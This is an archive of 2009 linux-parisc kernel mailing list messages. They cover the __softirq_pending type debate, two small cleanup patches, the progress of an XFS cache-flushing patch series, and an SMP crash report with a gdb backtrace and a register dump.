Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 09 23:46:46 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MwNIJ-0004vf-1e
	for glpp-linux-parisc@lo.gmane.org; Fri, 09 Oct 2009 23:46:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1761501AbZJIVly (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 9 Oct 2009 17:41:54 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1761505AbZJIVly
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 9 Oct 2009 17:41:54 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:39669 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753013AbZJIVlx (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 9 Oct 2009 17:41:53 -0400
Original-Received: (qmail invoked by alias); 09 Oct 2009 21:41:05 -0000
Original-Received: from p4FDB2F51.dip0.t-ipconnect.de (EHLO halden.box) [79.219.47.81]
  by mail.gmx.net (mp008) with SMTP; 09 Oct 2009 23:41:05 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19EvigtRB9EfqHA0PZX/ZERhIRLc3r5umK7AKVc8n
	A4Q4u5wtJbVKL3
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.4pre) Gecko/20090922 Fedora/3.0-2.7.b4.fc11 Thunderbird/3.0b4
In-Reply-To: <200910091542.29457.arnd@arndb.de>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.53
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2242 gmane.linux.kernel:900325 gmane.linux.ports.alpha:631
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2242>

On 10/09/2009 03:42 PM, Arnd Bergmann wrote:
> On Thursday 08 October 2009, Linus Torvalds wrote:
>> for some unfathomable reason. Quite frankly, I think Arnd just screwed up
>> the "generic" version, and the fix is almost certainly to just make the
>> generic version match all the main architectures.
>>
>> I don't have any architectures using the generic header file, though, so
>> I'm not going to do that change blindly. People who do should look at it
>> (alpha, powerpc and mips look like the only ones that might be 64-bit, but
>> I didn't check very carefully - just grepped for it)
>>
>> Added Cc's for some people that have worked on, or used, that generic
>> header file. Is there any possible reason why it is "unsigned long" in
>> that one?
>
> It was intentional to make it unsigned long in the asm-generic
> version, based on the observation that some of the 64-bit architectures
> (alpha and parisc) were using unsigned long in their arch specific
> files. The original parisc file contained
>
> typedef struct {
>         unsigned long __softirq_pending; /* set_bit is used on this */
> } ____cacheline_aligned irq_cpustat_t;
>
> which would imply that unsigned int wouldn't work for it, and looked
> like a good idea. It turns out that the comment is outdated, set_bit
> hasn't been used on __softirq_pending on any architecture for a long
> time as far as I can tell, and 32 bits is obviously enough for it.

Yes, I just tested it on the parisc architecture.
It seems we don't even touch this variable in our code.

> The patch that Ralf just sent looks good therefore, but I'd suggest
> either reverting two of Christophs patches that changed parisc and alpha
> just to be on the safe side, or getting explicit Acks for Ralfs patch
> from the maintainers of those two architectures.

Don't revert for parisc, as either "unsigned long" or "unsigned int" is OK.
So, Ralf's patch (switching __softirq_pending back to "unsigned int") get's my Ack:
Acked-by: Helge Deller <deller@gmx.de>

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephen Rothwell <sfr@canb.auug.org.au>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.next
Subject: Re: linux-next: manual merge of the parisc tree with Linus' tree
Date: Sat, 10 Oct 2009 12:23:01 +1100
Lines: 30
Approved: news@gmane.org
Message-ID: <20091010122301.620a98a7.sfr@canb.auug.org.au>
References: <20091009112158.7d37ed23.sfr@canb.auug.org.au>
	<20091009183914.GG11702@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; protocol="application/pgp-signature";
 micalg="PGP-SHA1";
 boundary="Signature=_Sat__10_Oct_2009_12_23_01_+1100_F8z1B7MgUfStaTLB"
X-Trace: ger.gmane.org 1255138015 24201 80.91.229.12 (10 Oct 2009 01:26:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 10 Oct 2009 01:26:55 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-next@vger.kernel.org,
	linux-kernel@vger.kernel.org, David Howells <dhowells@redhat.com>
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1761574AbZJJBXo@vger.kernel.org Sat Oct 10 03:26:44 2009
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1761574AbZJJBXo@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MwQjL-0004VT-Uo
	for glk-linux-kernel-3@lo.gmane.org; Sat, 10 Oct 2009 03:26:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1761574AbZJJBXo (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 9 Oct 2009 21:23:44 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758003AbZJJBXn
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Fri, 9 Oct 2009 21:23:43 -0400
Original-Received: from chilli.pcug.org.au ([203.10.76.44]:44724 "EHLO smtps.tip.net.au"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757676AbZJJBXn (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Fri, 9 Oct 2009 21:23:43 -0400
Original-Received: from canb.auug.org.au (ta-1-1.tip.net.au [203.11.71.1])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by smtps.tip.net.au (Postfix) with ESMTPSA id 03D71368014;
	Sat, 10 Oct 2009 12:23:07 +1100 (EST)
In-Reply-To: <20091009183914.GG11702@bombadil.infradead.org>
X-Mailer: Sylpheed 2.7.1 (GTK+ 2.18.2; i486-pc-linux-gnu)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:900432 gmane.linux.ports.parisc:2243 gmane.linux.kernel.next:9499
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2243>

--Signature=_Sat__10_Oct_2009_12_23_01_+1100_F8z1B7MgUfStaTLB
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi Kyle,

On Fri, 9 Oct 2009 14:39:14 -0400 Kyle McMartin <kyle@mcmartin.ca> wrote:
>
> Sorry, forgot to push out a new #next. Should be sorted now.

No worries, thanks.

--=20
Cheers,
Stephen Rothwell                    sfr@canb.auug.org.au
http://www.canb.auug.org.au/~sfr/

--Signature=_Sat__10_Oct_2009_12_23_01_+1100_F8z1B7MgUfStaTLB
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.10 (GNU/Linux)

iEYEARECAAYFAkrP4fUACgkQjjKRsyhoI8xh1QCfSBU/CwNHttMRpAKL5pd0/FMQ
WY0AoKdfzJT2wZSFOOwtrr6eVhbGicg0
=3eoc
-----END PGP SIGNATURE-----

--Signature=_Sat__10_Oct_2009_12_23_01_+1100_F8z1B7MgUfStaTLB--

From - Thu Nov 08 21:05:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Huang Weiyi <weiyi.huang@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: remove duplicated #include
Date: Sat, 10 Oct 2009 14:56:45 +0800
Lines: 28
Approved: news@gmane.org
Message-ID: <1255157805-1840-1-git-send-email-weiyi.huang@gmail.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1255157896 27562 80.91.229.12 (10 Oct 2009 06:58:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 10 Oct 2009 06:58:16 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, Huang Weiyi <weiyi.huang@gmail.com>
To: kyle@mcmartin.ca
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 10 08:58:05 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MwVty-0003OC-Fz
	for glpp-linux-parisc@lo.gmane.org; Sat, 10 Oct 2009 08:58:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753096AbZJJG5a (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 10 Oct 2009 02:57:30 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753102AbZJJG5a
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 10 Oct 2009 02:57:30 -0400
Original-Received: from mail-px0-f179.google.com ([209.85.216.179]:56287 "EHLO
	mail-px0-f179.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753044AbZJJG53 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 10 Oct 2009 02:57:29 -0400
Original-Received: by pxi9 with SMTP id 9so7327520pxi.4
        for <linux-parisc@vger.kernel.org>; Fri, 09 Oct 2009 23:56:53 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:from:to:cc:subject:date
         :message-id:x-mailer;
        bh=bRYfYOgAOXdFLq8yjKrHGNET2ksS29xHWBSsJTCTMSc=;
        b=plCY42OAd/94mpK7n8RQIv2THlnDhxjqzD2bjrqytgJBREKn88kbzx54Q3EK6zT77T
         0NPEXUmO2SqBSJevxLU2ey0QEsAF4v/z7FpgARsGJFSUlxezU5BIvoEr2qqdN2+AntYM
         xD7/uJHkVIxC1Fss7kGkNGKI6kyYeNxh0QlDE=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=from:to:cc:subject:date:message-id:x-mailer;
        b=eFRNRDDG48BFX33H/SYKQGamSxAokzFlr5sV5CQeuh1C0VY4rlM/Bi9ILjyua8u+zb
         RTXYquMG/fw8lEpnco1g5T2xaORy9fO8LQvpexgjaHT/yhN1ANxMCbOacQAS3N2Hc9IO
         Y+hU4kmDI7SmSEtQ087asHBeV6LPOfzLfokvs=
Original-Received: by 10.114.165.20 with SMTP id n20mr4972970wae.6.1255157813490;
        Fri, 09 Oct 2009 23:56:53 -0700 (PDT)
Original-Received: from localhost.localdomain ([222.95.172.169])
        by mx.google.com with ESMTPS id 22sm1097744pzk.6.2009.10.09.23.56.49
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Fri, 09 Oct 2009 23:56:52 -0700 (PDT)
X-Mailer: git-send-email 1.6.1.2
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2244
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2244>

Remove duplicated #include('s) in
  arch/parisc/kernel/signal.c

Signed-off-by: Huang Weiyi <weiyi.huang@gmail.com>
---
 arch/parisc/kernel/signal.c |    1 -
 1 files changed, 0 insertions(+), 1 deletions(-)

diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
index e8467e4..fb37ac5 100644
--- a/arch/parisc/kernel/signal.c
+++ b/arch/parisc/kernel/signal.c
@@ -26,7 +26,6 @@
 #include <linux/stddef.h>
 #include <linux/compat.h>
 #include <linux/elf.h>
-#include <linux/tracehook.h>
 #include <asm/ucontext.h>
 #include <asm/rt_sigframe.h>
 #include <asm/uaccess.h>
-- 
1.6.1.3

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: remove unused IRQSTAT_SIRQ_PEND and IRQSTAT_SZ
	defines
Date: Sat, 10 Oct 2009 13:01:30 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <20091010110130.GA31864@p100.box>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1255172595 28909 80.91.229.12 (10 Oct 2009 11:03:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 10 Oct 2009 11:03:15 +0000 (UTC)
To: linux-parisc@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 10 13:03:06 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MwZj7-0002xN-Db
	for glpp-linux-parisc@lo.gmane.org; Sat, 10 Oct 2009 13:03:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753505AbZJJLCU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 10 Oct 2009 07:02:20 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754185AbZJJLCU
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 10 Oct 2009 07:02:20 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:55389 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753505AbZJJLCT (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 10 Oct 2009 07:02:19 -0400
Original-Received: (qmail invoked by alias); 10 Oct 2009 11:01:32 -0000
Original-Received: from p4FDB105F.dip0.t-ipconnect.de (EHLO p100.box) [79.219.16.95]
  by mail.gmx.net (mp070) with SMTP; 10 Oct 2009 13:01:32 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX189t9US25c9IxlUw0c2nzKnZJONW/xk7Rx0oqh+Il
	lcfyagigj2ukHj
Content-Disposition: inline
User-Agent: Mutt/1.5.19 (2009-01-05)
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.00
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2245
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2245>


-- 
Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/asm-offsets.c b/arch/parisc/kernel/asm-offsets.c
index fcd3c70..ec787b4 100644
--- a/arch/parisc/kernel/asm-offsets.c
+++ b/arch/parisc/kernel/asm-offsets.c
@@ -244,9 +244,6 @@ int main(void)
 	DEFINE(THREAD_SZ, sizeof(struct thread_info));
 	DEFINE(THREAD_SZ_ALGN, align(sizeof(struct thread_info), 64));
 	BLANK();
-	DEFINE(IRQSTAT_SIRQ_PEND, offsetof(irq_cpustat_t, __softirq_pending));
-	DEFINE(IRQSTAT_SZ, sizeof(irq_cpustat_t));
-	BLANK();
 	DEFINE(ICACHE_BASE, offsetof(struct pdc_cache_info, ic_base));
 	DEFINE(ICACHE_STRIDE, offsetof(struct pdc_cache_info, ic_stride));
 	DEFINE(ICACHE_COUNT, offsetof(struct pdc_cache_info, ic_count));
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.file-systems,gmane.linux.kernel.cross-arch
Subject: Re: xfs failure on parisc (and presumably other VI cache systems) caused by I/O to vmalloc/vmap areas
Date: Tue, 13 Oct 2009 03:40:40 +0200
Lines: 8
Approved: news@gmane.org
Message-ID: <20091013014040.GA7931@lst.de>
References: <1252434469.13003.3.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1255398530 30418 80.91.229.12 (13 Oct 2009 01:48:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 13 Oct 2009 01:48:50 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	Linux Filesystem Mailing List <linux-fsdevel@vger.kernel.org>,
	linux-arch@vger.kernel.org, Christoph Hellwig <hch@lst.de>
To: James Bottomley <James.Bottomley@suse.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 13 03:48:40 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MxWVD-0006M4-MN
	for glpp-linux-parisc@lo.gmane.org; Tue, 13 Oct 2009 03:48:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757596AbZJMBlV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 12 Oct 2009 21:41:21 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757788AbZJMBlV
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 12 Oct 2009 21:41:21 -0400
Original-Received: from verein.lst.de ([213.95.11.210]:51412 "EHLO verein.lst.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757596AbZJMBlU (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 12 Oct 2009 21:41:20 -0400
Original-Received: from verein.lst.de (localhost [127.0.0.1])
	by verein.lst.de (8.12.3/8.12.3/Debian-7.1) with ESMTP id n9D1eecH008032
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO);
	Tue, 13 Oct 2009 03:40:40 +0200
Original-Received: (from hch@localhost)
	by verein.lst.de (8.12.3/8.12.3/Debian-7.2) id n9D1eef5008031;
	Tue, 13 Oct 2009 03:40:40 +0200
Content-Disposition: inline
In-Reply-To: <1252434469.13003.3.camel@mulgrave.site>
User-Agent: Mutt/1.3.28i
X-Spam-Score: -0.001 () BAYES_44
X-Scanned-By: MIMEDefang 2.39
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2246 gmane.linux.file-systems:36073 gmane.linux.kernel.cross-arch:4535
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2246>

So what's going to happen with this patch series?  Can we expect it to
get merged one day?

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.file-systems
Subject: Re: xfs failure on parisc (and presumably other VI cache systems)
 caused by I/O to vmalloc/vmap areas
Date: Mon, 12 Oct 2009 23:13:03 -0500
Lines: 12
Approved: news@gmane.org
Message-ID: <1255407183.2850.1235.camel@localhost.localdomain>
References: <1252434469.13003.3.camel@mulgrave.site>
	 <20091013014040.GA7931@lst.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1255407419 15428 80.91.229.12 (13 Oct 2009 04:16:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 13 Oct 2009 04:16:59 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	Linux Filesystem Mailing List <linux-fsdevel@vger.kernel.org>,
	linux-arch@vger.kernel.org
To: Christoph Hellwig <hch@lst.de>
Original-X-From: linux-arch-owner@vger.kernel.org Tue Oct 13 06:16:50 2009
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MxYoa-00049p-Og
	for glka-linux-arch@lo.gmane.org; Tue, 13 Oct 2009 06:16:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751185AbZJMENp (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Tue, 13 Oct 2009 00:13:45 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751128AbZJMENp
	(ORCPT <rfc822;linux-arch-outgoing>);
	Tue, 13 Oct 2009 00:13:45 -0400
Original-Received: from cantor2.suse.de ([195.135.220.15]:47205 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751185AbZJMENo (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Tue, 13 Oct 2009 00:13:44 -0400
Original-Received: from relay2.suse.de (relay-ext.suse.de [195.135.221.8])
	by mx2.suse.de (Postfix) with ESMTP id C0BEA5FC9F;
	Tue, 13 Oct 2009 06:13:07 +0200 (CEST)
In-Reply-To: <20091013014040.GA7931@lst.de>
X-Mailer: Evolution 2.26.3 (2.26.3-1.fc11) 
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:4537 gmane.linux.ports.parisc:2247 gmane.linux.file-systems:36076
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2247>

On Tue, 2009-10-13 at 03:40 +0200, Christoph Hellwig wrote:
> So what's going to happen with this patch series?  Can we expect it to
> get merged one day?

Well, we need it for parisc, so we can just push it through our tree.  I
was sort of hoping for confirmation that the other arch bits worked ...
but they can't be more broken than they are today, so I suppose the risk
is low.

James



From - Thu Nov 08 21:05:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: poll(), illegal instruction and crash on smp kernel
Date: Wed, 14 Oct 2009 23:59:24 +0200
Lines: 71
Approved: news@gmane.org
Message-ID: <4AD649BC.3080905@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1255558253 4247 80.91.229.12 (14 Oct 2009 22:10:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 14 Oct 2009 22:10:53 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave.anglin@nrc.ca>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 15 00:10:42 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MyC3C-0004ws-5g
	for glpp-linux-parisc@lo.gmane.org; Thu, 15 Oct 2009 00:10:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1761481AbZJNWAP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 14 Oct 2009 18:00:15 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1761485AbZJNWAP
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 14 Oct 2009 18:00:15 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:51619 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1761481AbZJNWAN (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 14 Oct 2009 18:00:13 -0400
Original-Received: (qmail invoked by alias); 14 Oct 2009 21:59:25 -0000
Original-Received: from p4FDB2EE6.dip0.t-ipconnect.de (EHLO halden.box) [79.219.46.230]
  by mail.gmx.net (mp068) with SMTP; 14 Oct 2009 23:59:25 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/22zZOgBb2b+xneACx6UPCd+byik5aAef4LF74ld
	azJKUESqxoVnHy
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.4pre) Gecko/20090922 Fedora/3.0-2.7.b4.fc11 Thunderbird/3.0b4
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.49
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2248
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2248>

In the meantime I've got access to a parisc SMP box (J5000),
and now I think I faced for the very first time the often-here-reported
SMP kernel bug.

While this happened, I was debugging konqueror (the KDE web browser) with
gdb and suddenly I faced this crash:

Program received signal SIGILL, Illegal instruction.
[Switching to Thread 0x8001 (LWP 22707)]
0x405e06fc in poll () from /lib/libc.so.6
(gdb) bt
#0  0x405e06fc in poll () from /lib/libc.so.6
#1  0x41bb45a0 in __pthread_manager () from /lib/libpthread.so.0
#2  0x41bb4e4c in __pthread_manager_event () from /lib/libpthread.so.0
#3  0x405eb340 in clone () from /lib/libc.so.6
#4  0x00000010 in ?? ()
#5  0x00000010 in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
(gdb)

dmesg shows:

[557116.676000] User Fault on Kernel Space pid=22910 command='konqueror'
[557116.676000]
[557116.676000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
[557116.676000] PSW: 00000000000001000000000000001011 Tainted: G        W
[557116.676000] r00-03  0004000b 41bbf31c 405e06df 000007d0
[557116.676000] r04-07  4065f134 00000001 0070a480 00000000
[557116.676000] r08-11  008be600 0070a480 00000011 001ff000
[557116.676000] r12-15  c025d970 41bc14c8 00001000 44665000
[557116.676000] r16-19  008bdec0 00000010 0070a508 4065f134
[557116.676000] r20-23  000000a8 008bdec0 4054d3ec 00000000
[557116.676000] r24-27  000007d0 00000001 0070a480 00011b10
[557116.676000] r28-31  00000000 00000008 0070a6f8 0070a700
[557116.676000] sr00-03  00001283 00000000 00000000 00001283
[557116.676000] sr04-07  00001283 00001283 00001283 00001283
[557116.676000]
[557116.676000]       VZOUICununcqcqcqcqcqcrmunTDVZOUI
[557116.676000] FPSR: 00001100000101010100000000000000
[557116.676000] FPER1: 00000000
[557116.676000] fr00-03  0c15400000000000 0000000000000000 0000000000000000 0000000000000000
[557116.676000] fr04-07  0000000000000000 bff921fb54442eea 0000000000000000 0000000000000000
[557116.676000] fr08-11  bfbf4842a80ef044 0000000000000000 bfd520324ad3ef15 4004cccccccccccd
[557116.676000] fr12-15  4183225470000000 4183225470000000 0000000000000000 00000000ffffffff
[557116.676000] fr16-19  0000000000000000 103d16ec11667180 00000000fffff000 8f82f00000000000
[557116.676000] fr20-23  ffffff9c00000002 3b9aca0010452540 0000000000000098 3ff0000000000000
[557116.676000] fr24-27  3ff051eb851eb852 0000000000000000 0000000000000000 3a8a7a187f5c3568
[557116.676000] fr28-31  3d3d1b9676733ae9 3ff0000000000000 bfd8d24e1e7bd6d4 3b92e3b40a0e9b4f
[557116.676000]
[557116.676000] IASQ: 00001283 00001283 IAOQ: 0070a703 0070a707
[557116.676000]  IIR: 4051bcc8    ISR: 00000000  IOR: 405e2543
[557116.676000]  CPU:        1   CR30: 8fed4000 CR31: ffffffff
[557116.676000]  ORIG_R28: 00000000
